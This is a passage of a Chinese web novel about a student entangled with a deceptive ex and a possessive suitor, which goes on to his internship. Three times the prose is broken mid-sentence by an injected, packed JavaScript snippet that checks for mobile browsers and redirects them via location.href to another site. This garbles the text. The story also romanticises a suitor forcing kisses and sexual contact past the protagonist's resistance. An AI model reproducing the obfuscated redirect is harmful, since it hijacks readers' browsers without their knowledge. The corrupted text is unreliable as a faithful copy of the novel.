祝惊霜冷漠的声音毫不留情地将他从美好的幻想中拉出来:“我是和他分手了,但是并没有和你在一起。” 他想了想:“所以你没必要每天这样。” 万则越的脸瞬间拉了下来:“什么意思。” “我的意思是,我们现在还只是普通朋友,你没必要像对待恋人一样对我。”祝惊霜莫名有点不忍看他的眼睛,尽管从表面上看他依旧淡漠冷静。 万则越当然知道他和祝惊霜还不算在一起,但他本来以为祝惊霜只是需要一点时间去接受,等祝惊霜想明白了就会和他在一起。 可是听祝惊霜现在的意思,却像是不打算按照原本赵牧铭没有篡改记忆时那样和他在一起了。 “你本来要答应在一起的是我,现在一切回到正轨了不是吗,那你的对象不应该是我吗?” 万则越有些着急,把切好的水果放下,凑近去看祝惊霜的眼睛,语气急切:“你在那天之后已经同意了我的表白,只是被他篡改了记忆而已,你同意的应该是我。” 祝惊霜动了动唇,想说,可是和我恋爱将近一年的人是他。 但最后他只是淡淡道:“你当初和我说,如果只是因为愧疚就同意在一起,是不是太草率了。” 万则越的心里猛地涌起一阵不好的预感,想去阻止却已经来不及了。 祝惊霜没看他,继续道:“其实我也分不清同意的原因愧疚占比多少,只是和他在一起之后我发现,除了愧疚,应该也是有喜欢的。” 心瞬间沉了下去,万则越不可置信地看着他:“你的意思是,你对我是愧疚,你对他就是喜欢?” 祝惊霜否认:“我没有这么说。” “可你的话就是这个意思!” 29. 报复 又一次不欢而散。 那天之后万则越没再来过,可能是终于死心了,也可能是在生气。 祝惊霜偏向于是后者。 万则越一直是一个撞了南墙也不回头的人。 深夜,窗外的风突然变大,楼房的墙上落下张牙舞爪的树影。 房间内一片漆黑,空调开的很足,祝惊霜躺在床上,双眼紧闭。 他做了一个梦。 梦里他回到了还在和赵牧铭谈恋爱的时候,没有后面的那些争吵,此刻的他们和其他情侣没有区别。 周围的一切都模糊不清,一切仿佛都按了倍速播放。 直至到了深夜,赵牧铭抱着他低下头,梦里的祝惊霜也下意识闭上眼睛。 唇齿相依,呼吸都变得粘稠起来,这时祝惊霜微微抬眸,却忽然发现亲自己的人变成了万则越。 瞳孔瞬间紧缩,祝惊霜下意识推开面前人。 万则越委屈地看着他,梦里的声音很清晰:“他可以,我就不行吗?” 祝惊霜猛地从梦中惊醒。 胸口依然残存着心悸感,他喘了口气,下意识想喊贺栩樾。 话都到嘴边了,突然想起贺栩樾要去集训一个月,现在不在隔壁。 心脏一下一下跳地很快,祝惊霜深吸一口气,翻了个身想继续睡。 可是这次他翻来覆去好一会儿都没睡着,睁开眼望着黑暗中天花板的纹路,他突然很想喝酒。 他以为自己能够洒脱,可是这一年多的感情不做假,哪怕让他有好感的是万则越,但是和他真切在一起一年多的确确实实是赵牧铭。 他们一起经历过的甜蜜也不全是谎言,可是由谎言开始的感情真的能够当真吗? 祝惊霜忽然明白了为什么那么多人在失恋难过时都想去喝酒,其实也不一定是喝酒,只是不想待在太安静的环境里,想让自己转移注意力。 而喝酒是成本最低也最轻松的方式。 祝惊霜拿出手机翻列表思索喊谁出来,原本如果贺栩樾没去集训他就直接找他了,但现在贺栩樾不在,他就只能找别人。 犹豫半天,最后他选择了找方宸,但又不确定对方有没有睡着,就点了点方宸的头像,戳了戳他。 方宸几乎是秒回: 【方宸:怎么了?】 【方宸:稀罕事儿啊,那么晚了你还没睡?】 祝惊霜不管上学还是放假作息都很健康,每天早睡早起,只有极少数情况才会熬夜。 祝惊霜抿着唇打字: 【祝惊霜:我睡着了,又醒了】 【祝惊霜:你现在方便出来吗?】 这次方宸过了几分钟才回他: 【方宸:不行啊宝贝儿,我刚刚问了老板不让我请假】 【方宸:我在上夜班呢】 方宸平时嘴里没个把门,偶尔嘴贱喊祝惊霜什么称呼都有,所以祝惊霜也没对这个称呼做出反应,只是有些失望地垂下眼帘。 【祝惊霜:好吧】 【方宸:你想去哪?要不叫一佑陪你?】 孟一佑是他们的另一个舍友,也就是上次在医务室里问晏恒洲有没有想好怎么和祝惊霜的解释的那个。 【方宸:他这个点应该刚好下班?】 【方宸:我去问问他】 【祝惊霜:不用了】 放下手机,祝惊霜也没有了再去找人的兴致,最后选择了一个人出门。 夏天的夜晚空气潮湿,只走了几步闷热感就遍布了全身。 祝惊霜只穿了一件短袖,依然热的香汗淋漓。 午夜的大街上空荡荡的,只有稀稀拉拉的行人和车辆,两侧的树木在惨白的路灯下影影绰绰。 虽然想喝酒,但祝惊霜其实很少会去酒吧一类的地方,他平日喜静,只有偶尔和朋友聚会的时候才会去,从来没有单独一个人去过。 漫无目的地走了一会儿,祝惊霜忽然停下脚步。 面前是一家咖啡馆,店门开着条缝,隐约透出一点光,在凌晨显得格外萧条。 祝惊霜盯着门上盛着咖啡的透明云朵标志看了一会儿,后知后觉地发觉,这是之前赵牧铭给他准备生日礼物布置艺术展的店。 晚风吹起他额前的碎发,夏夜的风都带着挥之不去的热意,拂过的地方没有半分清凉。 祝惊霜回过神来,正准备离开,咖啡馆的门却突然被从里面打开了。 “不进来坐坐吗?”一个高大儒雅的男人走了出来,带着金丝框眼镜,年轻的面孔温文尔雅。 祝惊霜认得他,咖啡馆的老板,也就是赵牧铭的表哥。 他们只见过一面,当时赵牧铭互相介绍时说了祝惊霜是自己的男朋友,祝惊霜不知道这个表哥知不知道自己和赵牧铭已经分手了。 看对方的眼神,祝惊霜直觉他是知道的。 “心情不好的话,要不要进来喝杯咖啡?” 拒绝的话在喉咙里转了一圈又被咽下,祝惊霜鬼使神差改变了主意,跟着他走进去。 “上次见面太匆忙,还没来得及好好认识。”老板带着他来到咖啡馆中间的那桌,递给他一张名片:“这是我的名片。” 祝惊霜夹着名片看了眼,赵牧铭的这个表哥名字叫陈韧轩。 这个点的咖啡馆没有其他客人,暖黄的灯光笼罩在祝惊霜如玉的脸庞,桌上的花瓶里装着盛开的鲜花,空气里弥漫着淡淡的咖啡香。 “陈老板。”祝惊霜单手托着腮,抬眸间眼波流转,面容如霜雪般沉静冷淡:“这里有酒吗?” 陈韧轩苦笑着说:“我们这是咖啡馆,怎么会有酒。” 祝惊霜沉默几秒,起身就要走。 陈韧轩没想到他那么果断,匆忙把他按住,声音无奈:“那么着急?” 按住的位置是祝惊霜的肩膀,隔着薄薄的衣料仿佛能感受到滚烫的体温,陈韧轩晃了晃神,才继续道:“我这里没有酒,但我可以现在去给你买。” “你想喝什么酒?” 祝惊霜睫毛轻轻颤了颤:“都行。” “你等我一会儿。” 陈韧轩说完还真去附近的超市买酒了,因为不知道祝惊霜想喝什么,所以买了很多不同种类,回来时把暂停营业的牌子挂到了门上。 祝惊霜看见他关上门,静默几秒轻声道:“你不用管我,照常开店就行。” “那怎么行?”陈韧轩提着一大箱酒走过来,像是开玩笑又像是试探般开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403504|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要是在我店里出了什么事,你前男友还不得打死我。” 他果然知道。 祝惊霜没回答他,随便开了瓶酒,只喝了一口就皱起眉:“难喝。” 陈韧轩脸上的笑容消失了,一句话没说转身去了后厨。 祝惊霜以为他是嫌自己难伺候,结果没多久就看见对方拿了几个高脚杯走出来放在桌上,里面还装着冰块,一副要现场调酒的样子。 “你还会调酒?”祝惊霜挑起眉,漆黑的眼瞳淡淡瞥向身旁人。 陈韧轩的脸上依然带着温和的笑:“开这间咖啡馆之前我去过许多地方打工,其中就有酒吧。” 祝惊霜垂眸看他娴熟的动作,忍不住开口问:“你在酒吧做什么?调酒师?” “咳。”陈韧轩轻咳一声,耳根有点泛红:“保安。” 他像是有些尴尬,又连忙打补丁:“调酒而已,多看看就会了。” 祝惊霜弯了弯眉,露出今晚第一个真心实意的笑。 陈韧轩无意间望见这抹笑,怔了一下,莫名冒出一个想法:赵牧铭的眼光确实不错。 不得不说,陈韧轩还是有两把刷子的,调出的酒看起来很漂亮,不同的色彩在酒杯里混合成绚烂的海洋。 混合着果香的酒味在口腔里绽开,视线逐渐变得有些模糊,祝惊霜冷静地想,自己好像有点喝醉了。 既然醉了,那做什么都只是因为醉了。 神志含糊间,他听见自己略微粘稠的声音:“你怎么不喝?” 这是在问陈韧轩。 说话时祝惊霜把脸贴上前去看对方的眼睛,灯光下他的五官立体而精致,雪白的皮肤因为酒精微微泛着红,眼尾上挑,如霜似雪的气质中混了几分说不清道不明的意味。 忽然正面对上这样一张脸,陈韧轩下意识屏住呼吸,在自己如擂鼓般响的心跳声中几乎不知道自己说了什么:“我不爱喝酒。” 祝惊霜盯着他红透的耳根看了一会儿,忽然含了口酒贴上去。 酒香在唇齿间流连,轻柔地几乎要化开。 刹那间心脏仿佛要跳出胸膛,陈韧轩被那口渡过来的酒呛的一直咳嗽。 祝惊霜就看着他笑,脸上罕见地带着恶作剧成功的顽劣。 陈韧轩好不容易喘过气,铁青着脸道:“你喝醉了。” 祝惊霜还是笑。 他平时是很少这样笑的,笑得眼尾都泛着水光绯色,格外让人移不开视线。 陈韧轩握紧拳头,仿佛在压抑着什么,低声说了一句:“你要报复他,这样没用。” 他没有直说赵牧铭的名字,但他知道祝惊霜能听懂。 果然,祝惊霜几乎是瞬间就冷了脸:“谁说我要报复他?” 他像是在解释,又仿佛是在对自己说:“他骗了我,追我两年的人根本不是他。但他也没有对我做什么,就这样吧。” “你真的这样想吗?” “我不清楚你们具体发生了什么,但是看你的反应……”陈韧轩看着他,目光似怜悯又似心疼:“你对他分明有怨,但又欺骗自己没有怪他,欺骗自己已经放下了要和他一别两宽。” “祝惊霜,你到底是怪他不是那个人,还是怪他骗了你?” 30. 利用 祝惊霜面无表情:“有什么区别吗?” “当然有!”陈韧轩反驳完才发现自己太过激动,又放缓语速:“前者是,只要他是那个人你就喜欢;后者是,你真的喜欢上了他。” 祝惊霜醉眼朦胧,也不知道有没有听懂,看了他一会儿,又笑起来。 “那还是没有区别。” …… 凌晨三点,睡梦中的赵牧铭被一个电话喊醒。 “你那个小男朋友和你闹分手了?” 一句话就让他瞬间清醒,整个人都从床上弹起来:“你怎么知道?你见到他了?” “深更半夜一个人在街上晃,满脸写着失恋两个大字,啧啧啧。”陈韧轩看了一眼趴在桌上的祝惊霜,那一头黑发如同海藻般,有种凌乱的美。 “你在哪看见他的?你的咖啡馆吗?”赵牧铭边匆忙下床换衣服边焦急地对着电话道:“他现在怎么样?” 陈韧轩下意识摸了摸嘴唇,心口莫名一颤,没由来地把本来要说的话咽了下去,最后隐藏了那个吻把见到祝惊霜以后发生的事情描述了一遍。 “我现在过来。”赵牧铭连鞋都没来得及换,像飞一样出了门。 天光黯淡,夏日的夜晚空气里依然残留着暖意,等开着车赶到咖啡馆时赵牧铭已经满头大汗。 陈韧轩看了一眼手表,才过了二十分钟。 一进门,赵牧铭就闻到了浓郁的酒味。 祝惊霜趴在桌上,似乎是醉倒了。 赵牧铭下意识放轻脚步。 但当他想把祝惊霜抱起来时,祝惊霜却醒了。 他仰着脸推拒着,雪白的皮肤上泛着绯色,眼尾湿红,平日里清冷的神态如今多了几分媚意。 只看了一眼赵牧铭就不敢再看,呼吸加重,声音也变得低哑:“我送你回家。” 祝惊霜在短暂的犹豫后再次拒绝了他,推拒的手“啪”地一下拍在赵牧铭的手背上。 他漂亮的眼眸里覆着一层朦胧的水光,一向凌厉的丹凤眼此刻透出几分说不清道不明的味道:“不用你送。” 这句话出来后赵牧铭立刻判断出,祝惊霜还醉着。 不然他绝对不会这样对自己像撒娇一样发脾气。 “不要我送?”赵牧铭俯下身,几乎贴到了他的鼻尖:“那你要谁送?” 那么近的距离,他能够清晰地闻到祝惊霜身上自带的幽香混合酒香的气味。 “……我喊了别人。”祝惊霜垂下眼帘,又细又密的睫毛仿若展翅欲飞的蝶翼。 “那么晚除了我还有谁会来。”赵牧铭有些心猿意马,根本没认真听他在说什么,望着面前人雾蒙蒙的水眸和湿红的唇,情不自禁越凑越近。 就在唇瓣即将相贴的瞬间,门口传来一声大喊:“祝惊霜!” 随着急促的脚步声逼近,一股大力从肩膀传来,赵牧铭措不及防被一下推开,扭过头就看见满脸怒气的万则越。 刚才赵牧铭进来的太急没有关门,暂停营业的牌子也掉在了地上,所以万则越畅通无阻地进来了。 “你喊的人是他?”赵牧铭看着祝惊霜开口,声音嘶哑到仿佛含着血。 祝惊霜没有说话,态度如同默认。 万则越上前把祝惊霜扶起来,这次祝惊霜没有反抗。 走到门口的时候,祝惊霜的胳膊被身后的赵牧铭拉住了。 “你真的要和他走吗?”赵牧铭的声音很沉,语气里带着恳求:“你喝醉了,他送你不安全……” 万则越眉头一皱,正要反驳,祝惊霜却开口了,声音里没有半分醉意:“跟你走就安全了吗?” “我跟万则越至少认识了三年,你呢?”祝惊霜抽回手:“能在酒吧和不认识的人接吻,你又是什么好人?” 赵牧铭愣了一下,随后反应过来祝惊霜提的是他们的初遇,慌忙解释:“那天是我的初吻……” “你的话我一句都不会信了。”祝惊霜低声开口:“你就是个骗子。” “我不是,我只骗了你这一件事……”赵牧铭不明白,为什么仅仅一件事就让祝惊霜对他下了死刑。 “如果不是我发现了,你是不是会瞒我一辈子?”祝惊霜从他的表情里得出答案,唇角微微上扬,眼底却没有笑意:“你让我觉得很陌生,和我在一起的时候你一直在演。” 所以他根本分不清,真实的赵牧铭是个什么样的人,也就不清楚自己在恋爱时所生出的好感究竟是对谁。 虚假的人设换来真实的心动,那么回归真实的那一刻心动就变得虚假。 赵牧铭无力阻止,只能眼睁睁看着万则越把祝惊霜带走。 上车后,祝惊霜坐在副驾驶上闭上双眼。 大脑里模糊不清,太阳穴一阵阵胀痛,哪怕在空调里浑身依旧燥热。 万则越沉默了一会儿,开口时声音听不出情绪:“你酒醒了?” “嗯?”祝惊霜迷迷糊糊睁眼,漆黑的眼眸蒙着一层水光。 万则越盯着他看了两秒,淡淡道:“看来还没醒。” 下一秒,他突兀地上前在祝惊霜的唇上亲了一下。 余光是车窗外目眦欲裂的赵牧铭,他眼底很沉:“当时在水疗馆,我在门外喊你,他在门里亲你。” 祝惊霜不知道是醉了还是没完全反应过来,瞪着眼睛像只受了惊的兔子。 万则越用粗糙的指腹抹去他眼尾的水痕,抿着唇说:“明明亲你的人应该是我。” 祝惊霜几乎开始怀疑醉的人到底是自己还是万则越,伸手拍了他一下:“快走。” 万则越这才不情不愿地开始开车,脸上的表情依然很臭。 祝惊霜重新合上双眼,声音不急不缓:“你怎么知道我在这里?” 他根本没有叫万则越来接自己。 只是赵牧铭误会了,他也不想解释。 “你忘了你发的动态?”万则越握着方向盘的手攥紧,仿佛在压抑着什么情绪:“是不是谁来你都会跟着走?只要来的人不是赵牧铭?” 祝惊霜不说话,前面刚好是红绿灯,万则越扭头看了一眼,发现他已经睡着了。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403505|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 抱着祝惊霜走到家门口时,怀里的人忽然醒了。 “谢谢你送我回来,改天请你吃饭。”祝惊霜这下是真的酒醒了,眉眼恢复了冷凝:“那么晚了,我就不留客了。” 一开口就是驱赶,万则越被他气笑了:“祝惊霜,有你这样的吗?” “我怎么了?”祝惊霜从他怀里跳下来,用指纹开了锁,神色冷淡。 身后被一道目光盯着,炙热滚烫,仿佛能在他背后烫出一个洞来。 下一秒,目光的主人上前一步跟着他进屋,反手把门关上。 “我知道你选我只是为了气他。” 身后传来的声音低沉沙哑,就像是潜伏在黑暗中的野兽,祝惊霜整个人都被从背后环住,对危险的直觉让他瞬间汗毛直立。 屋里没有开灯,黑暗中炙热的呼吸喷在他耳边,每个字都透着偏执:“你认识那家咖啡馆的老板?” “……不熟。”祝惊霜轻喘一声,回头想把他推开,却被擒住双手压在墙上,脸色立刻冷了下来,声音里暗含警告:“万则越。” 尾音还没完全吐出,他的唇就被堵住了。 万则越一上来就吻的很深,没有给他任何反抗的机会,舌尖灵活地顶入他的口腔,汲取他的全部气息。 祝惊霜这时候竟然还能走神,他自嘲地想,还真被赵牧铭说中了。 玄关的柜子上放着一副眼镜,万则越无意间碰到,停下了亲吻的动作,声音透着情欲的沙哑:“我记得你不戴眼镜。” 祝惊霜的唇被他亲的肿痛,此刻不想和他说话,所以只是把头扭到一边。 万则越盯着他在黑暗中修长纤细的脖颈,忽然再次低下头。 祝惊霜被他措不及防的动作惊地“嘶”了一声,试图推拒的手都在发颤。 万则越忽然抱起他,径直走到沙发边上把他扔上去,随后欺身上前,盯着他的眼睛一字一顿:“真的不熟吗?” 他伸手摩挲着祝惊霜被自己亲的微肿的唇:“原来在你心里,不熟的人也是可以接吻的吗?赵牧铭可以,那个咖啡馆的老板可以,随便什么人都可以?” “那为什么我不行?” 字字泣血,质问直击灵魂。 沙发很大也很软,祝惊霜并没感觉到疼,他试了一下发现挣脱不了便放弃了,淡淡道:“你怎么知道我和他接吻了?” 话音刚落他就感觉到被万则越握住的手腕被攥得更紧,几乎有些发疼了。 其实万则越也不知道祝惊霜和陈韧轩接吻了,他只是发现那个咖啡馆的老板虽然站在旁边不说话,但是一直在盯着祝惊霜的唇,还时不时摸摸自己的,脸上的表情像是在回味。 万则越没想到,祝惊霜真的承认了。 “为什么你宁愿找别人也不愿意接受我。”万则越把头埋在他胸口,声音有种狠戾的哽咽:“明明你最开始喜欢的人是我。” 祝惊霜闭上眼睛,一副拒绝沟通的样子。 万则越去吻他的眼睛,恨恨道:“随便谁都行?你就这样糟践自己吗?” 31. 实习 万则越真正想问出口的其实是,你就这样爱他吗? 怎么会看不见呢。 那天祝惊霜和赵牧铭说分手,明明说的那样狠决,可是赵牧铭离开后却像是枯萎的花朵一样衰败破碎,争吵的时候故作冷静,手却一直在颤抖。 旁观者清,万则越从来都看的明白,祝惊霜对赵牧铭有情,不是因为被篡改了记忆。 那他呢?他算什么? 在祝惊霜和赵牧铭谈恋爱的时候他就只能当一个影子,明明准备好了生日礼物却送不出去,无数次邀约得到的只有无数次拒绝。 在一切回到正轨之后,他依然只能当一个影子。 凭什么? 被偷身份的是他,凭什么祝惊霜的爱却是属于那个“小偷”的? “我和谁接吻关你什么事?”祝惊霜依旧闭着眼睛,眼皮却开始轻颤起来:“你是我的什么人,凭什么管我?” 他的语气很平静,比起质问更像是在陈述一个事实。 这段话显然将万则越激怒了,下一刻夹杂着怒气的吻便如狂风暴雨般将他淹没。 祝惊霜几乎以为万则越要将自己整个人都吞进肚子里,被亲的浑身都开始痉挛。 没来得及吞咽的口水被面前人洗劫一空,客厅的空气都变得淫靡而泥泞。 有那么几秒祝惊霜感觉万则越已经失去了理智,只想强行做下去。 “万则越。”祝惊霜轻喘着发出微弱的声音:“别让我讨厌你。” 万则越的动作停顿了一下,似乎有一瞬的慌乱,随后又咬牙切齿道:“他可以,我不行吗?” 下一秒,祝惊霜再次被卷入情欲的浪潮。 结果还是没有做到最后一步但除了最后一步什么都做了。 早晨日光融融,一缕阳光从窗帘的缝隙照射进来。 祝惊霜是被亮醒的。 他蹙起眉睁开眼,面色在淡淡的日光中格外白皙,身上是昨晚结束后万则越给他换的睡衣。 腿间仿佛还残留着异物感,祝惊霜艰难地直起身,脸色微沉。 这时门开了,万则越端着刚做好的粥走进来,看见他醒了连忙把碗放在床头柜上,上前想帮他。 “啪!” 万则越被打的脸都侧到了一边,脸上顿时出现了一个明显泛红的巴掌印。 祝惊霜领口大开,锁骨处的星星点点彰显着昨晚的激烈,收腰处勾勒出格外纤细的腰。 一向暴躁易怒的万则越生生受了这一巴掌,扭头又扬起笑脸想去牵祝惊霜的手:“手疼不疼?” 祝惊霜冷着脸,看起来气势惊人,却意外地没有再继续发火。 他盯着万则越脸上讨好的笑看了一会儿,忽然淡淡开口:“玄关放的那幅眼镜是我哥的。” 万则越脸上的笑容僵住了。 他想过可能是其他男人的,却没想到会是祝惊霜哥哥的遗物。 没等他反应过来,祝惊霜又继续开口:“你追了我两年喜欢了我很久,但你究竟喜欢我什么?” 祝惊霜无疑是个很优秀的人,从小到大无数人对他表白,被拒绝后念念不忘的也比比皆是,但问起喜欢的原因无非也就那几个。 长得好看,成绩优秀,性格虽然不平易近人但也并不刻薄,对朋友真诚温和,尽管有些冷冰冰的但也格外让人有征服欲。 可这些都很表层。 祝惊霜不是不相信万则越喜欢他,他那么优秀被多少人喜欢都很正常,他只是无法因此为万则越看似浓烈的爱意而动容。 换句话说,万则越是因为他的美貌也好优秀也好其他也好而喜欢他,而他不缺钱不缺爱,他需要“感觉”,而感觉是虚无缥缈的,所以对他而言现在的万则越无法提供给他所需要的任何价值。 无论是情绪价值还是金钱价值,亦或是其他。 问题太过突然,万则越只能想到什么说什么:“喜欢你好看,喜欢你的声音,喜欢你的味道,喜欢你看我时候的眼神,喜欢你冷着脸的样子但更喜欢看你笑着,喜欢你画画时的神采飞扬,喜欢你处理事情的方式……” 盯着祝惊霜的脸很难不痴迷,万则越说着说着舌头就有些打结。 祝惊霜耐心听完以后才说:“如果你和别人的理由一样,我凭什么要接受你?” “你应该知道,我当时会答应你,确实是愧疚和感动占了上风。” 这次祝惊霜说话时非常心平气和,他希望万则越能够听进去。 他同样没有谈过恋爱,也不清楚什么是喜欢,所以尽管当时对万则越只有好感,但在愧疚和感动占据上风时还是同意了在一起。 只是阴差阳错被赵牧铭顶替身份篡改了记忆,现在的祝惊霜已经冷静下来了。 “你对我其实并不了解,你所喜欢的只是片面的、一部分的我。”祝惊霜循循善诱,语气几乎称得上轻柔,眉眼间却带着挥之不去的冷淡。 万则越被他问住了,他也不知道怎么说。 祝惊霜的一切他都喜欢,身体的每个部位露出的每个表情说出的每句话,哪怕祝惊霜什么也不做只是站在那,他就已经为他神魂颠倒。 所以他回答不出祝惊霜想要的答案。 在被祝惊霜赶出去之前,祝惊霜最后说的话是:“在你想明白怎么回答我之前,不要再来找我。” …… 那天之后万则越和赵牧铭又给祝惊霜发了许多消息,也来找他很多次,但祝惊霜一个都没见。 在看见宿舍群里舍友们的消息时,祝惊霜才发觉距离毕业已经只剩下不到一年时间。 【孟一佑:@祝惊霜你下下个学期是回学校还是继续实习?】 学校安排他们大四第一个学期去实习,第二个学期回校做毕设,但因为第二学期课少,所以很多人会选择边实习边做毕设。 【祝惊霜:看情况,还没决定好】 不止祝惊霜,其他人也被艾特出来问了一遍,给出的答案各不相同。 假期之后505宿舍群依旧活跃,有时候方宸他们会连麦打游戏,祝惊霜很少参与,只偶尔会被拉去一起玩小程序。 今天是周日,方宸又一次诚挚邀请祝惊霜加入他们的游戏。 【晏恒洲:不是哥们你人呢,话说到一半不见了?@孟一佑】 【方宸:霜儿玩不玩?@祝惊霜】 【孟一佑:来了来了,刚刚在和我家狗玩】 孟一佑家里养了条狗,祝惊霜看过视频,很可爱。 另一个舍友开始在群里说瞎话,什么“要做狗的替身了。”“那么刺激。” 祝惊霜勾了勾唇,想着今天刚好没有其他安排,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403506|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回复了方宸的话。 【祝惊霜:来】 他们是开群聊语音玩的,语音里方宸和祝惊霜抱怨实习遇到的事情:“一开始不说全要求,等我出了设计稿又要改,好吧我改。哎到我了,正中圆心!” 方宸炫耀完继续抱怨:“改完又说太花里胡哨了,行那我删,等我删完又说还是要原来的,我是什么很贱的人吗?” 孟一佑听的一直在笑,手抖按错了键,顿时在麦里鬼哭狼嚎,轮到晏恒洲幸灾乐祸地大笑。 祝惊霜安慰了方宸几句,又道:“忍过这几个月就好了。” 晏恒洲插嘴道:“你之前不是说混完实习证明就立刻辞职,到时候毕业直接去你妈单位做吗?” “对啊,那也要等,我现在每天掰着指头数日子呢。”方宸闷闷不乐的:“霜儿你打算啥时候开始实习啊。” 祝惊霜本来想八月中旬再去,都和实习的地方说好了,但他忽然改变了主意:“过几天吧。” 他不想把时间一直浪费在应付万则越和赵牧铭身上,加上贺栩樾不在家,他一个人待在家里还真觉得有点无趣,倒不如早点开始实习。 等挂了语音通话祝惊霜就去给实习单位的老板发消息,问他自己能不能提前去。 这份工作是他之前社团认识的学姐帮忙介绍的,老板之前也是他们学校的毕业的,出去之后自己创业建了公司,现在也算有模有样。 老板同意了。 入职那天祝惊霜起了个大早,穿了一件白色领口的深蓝色衬衣,搭配浅灰色的休闲裤,梳好的头发垂在身后,整个人看起来冷淡又清爽。 去到公司以后,祝惊霜才知道他要代替岗位的那个人还没走。 那个人是下个月离职,刚好是祝惊霜原本约定好的入职时间。 现在提前了一个月,那个要离职的人叫谢原修,干脆被安排来带祝惊霜。 谢原修一头黑色短发,很年轻的模样,天生长了副笑相,看起来很有亲和力。 事实上他对祝惊霜也确实很耐心,还让祝惊霜叫他“谢哥”。 本来祝惊霜学习能力就强,在细心指导下没几天就上手了,把谢原修惊的连连称赞:“还好我要走了,不然按你这个进度下去,过两年谁喊谁哥还不一定呢。” 祝惊霜弯着眉,落落大方地回:“是谢哥教的好。” 后面混熟了以后,谢原修在休息时提过自己离职的原因:“我老家不在这,在挺远的地方。” “这份工作我不太做的来,你看你来多久就那么熟练了,当初我来的时候好几个月才上手。” 说到这里的时候祝惊霜听他沉痛的语气还以为是因为在大城市混不下去所以想回老家,结果谢原修下一句话是:“加上我爸妈想让我回家多陪陪他们,所以我就辞职了。” 祝惊霜总觉得哪里不对劲,疑惑地问:“你家是干什么的?” 谢原修不好意思地挠了挠头:“有几块地,每天就收点租金混日子。” 祝惊霜恍然大悟,原来是收租的。 没过多久又来了一个实习生,祝惊霜是知道原本会有个实习生和自己同期入职的,只是他提前来了。 新人进公司的那天祝惊霜和往常一样坐在工位上,主管带着人进来时他听见动静扭头,便对上了晏恒洲惊奇的目光。 32.合作 祝惊霜终于想起,晏恒洲曾在宿舍提过自己八月再开始实习。 只是没想过会那么巧。 巧的祝惊霜都忍不住怀疑晏恒洲是不是故意的。 但下一秒他就打消了这个想法,晏恒洲的表情先是震惊随后又变得像吃了苍蝇一样恶心,显然也并没有想到会在这里看见他。 主管没有看见他精彩的神色,简单介绍完扫了一圈发现只有祝惊霜对面的位置是空的。 一想到要和晏恒洲面对面相处大半年,祝惊霜就下意识蹙起眉。 晏恒洲本来满脸不情愿,见祝惊霜这个表情,立刻三步并做二步上前一屁股坐了下来。 八月份是祝惊霜最忙碌的一个月。 谢原修离职,走的那天请整个部门吃饭,顺便庆祝祝惊霜转正。 虽然只相处了短短一个月,但谢原修对祝惊霜印象很好,还专门让他加了自己的私人号,让他以后有事就找自己。 祝惊霜很感激他,过后专门请他喝了咖啡。 很快祝惊霜就发现比和晏恒洲面对面朝夕相处大半年还要崩溃的事情,那就是和晏恒洲合作。 过去那么多年来他和晏恒洲基本上都是竞争关系,正常相处的时候都很少,更别提合作。 或许是天生磁场不合,过程里他们起了无数次争执,每次想法都不同。 “你就听我一次能怎样?” 又一次意见不合,祝惊霜气的几乎无法维持往日的冷淡,眉眼凌厉面色如霜。 “我哪次没听你的?”晏恒洲也不甘示弱地拍桌子:“凭什么每次都是按照你说的来?” 路过的同事从禁闭的玻璃门看了一眼里面的剑拔弩张,摇摇头走了。 吵完以后还是没有结果,只能冷静下来继续商量。 最后他们各退一步,选择了折中的方案。 第一阶段完成了,晏恒洲心情很好,一直哼歌。 祝惊霜白他一眼,把耳机戴上。 空闲时晏恒洲就会在办公室里唱歌,唱的最多的是《可惜没如果》,当时KTV里跑调被笑他一直耿耿于怀。 ——“倘若那天 把该说的话好好说 该体谅的不执着 如果那天我 不受情绪挑拨 你会怎么做……” 唱完以后他总是会去揺祝惊霜:“我这次还有没有跑调?” 祝惊霜每次都会不耐烦地摘下耳机说有。 在项目终于完成后祝惊霜诚恳地说:“我再也不想和你合作了。” 晏恒洲嗤之以鼻:“我也是。” 说完后他却忍不住笑了。 这是他第一次和祝惊霜合作,也是第一次发现,不去竞争而是合作时虽然过程里诸多摩擦,但结果是愉快的。 这天,晏恒洲发现祝惊霜心情很好。 从一大早走进办公室开始眉眼就一直舒展着,眼底漾着盈盈的笑意,就连说话也没平时那么冷漠无情。 “心情那么好?中彩票了?”中午吃饭的时候,晏恒洲忍不住问道。 祝惊霜抬眸瞥他一眼,眸光难得柔和:“没有。” 他不愿意说,晏恒洲也没办法,总不能强行撬开他嘴巴。 祝惊霜心情确定很好,因为贺栩樾今天就要结束集训回来了。 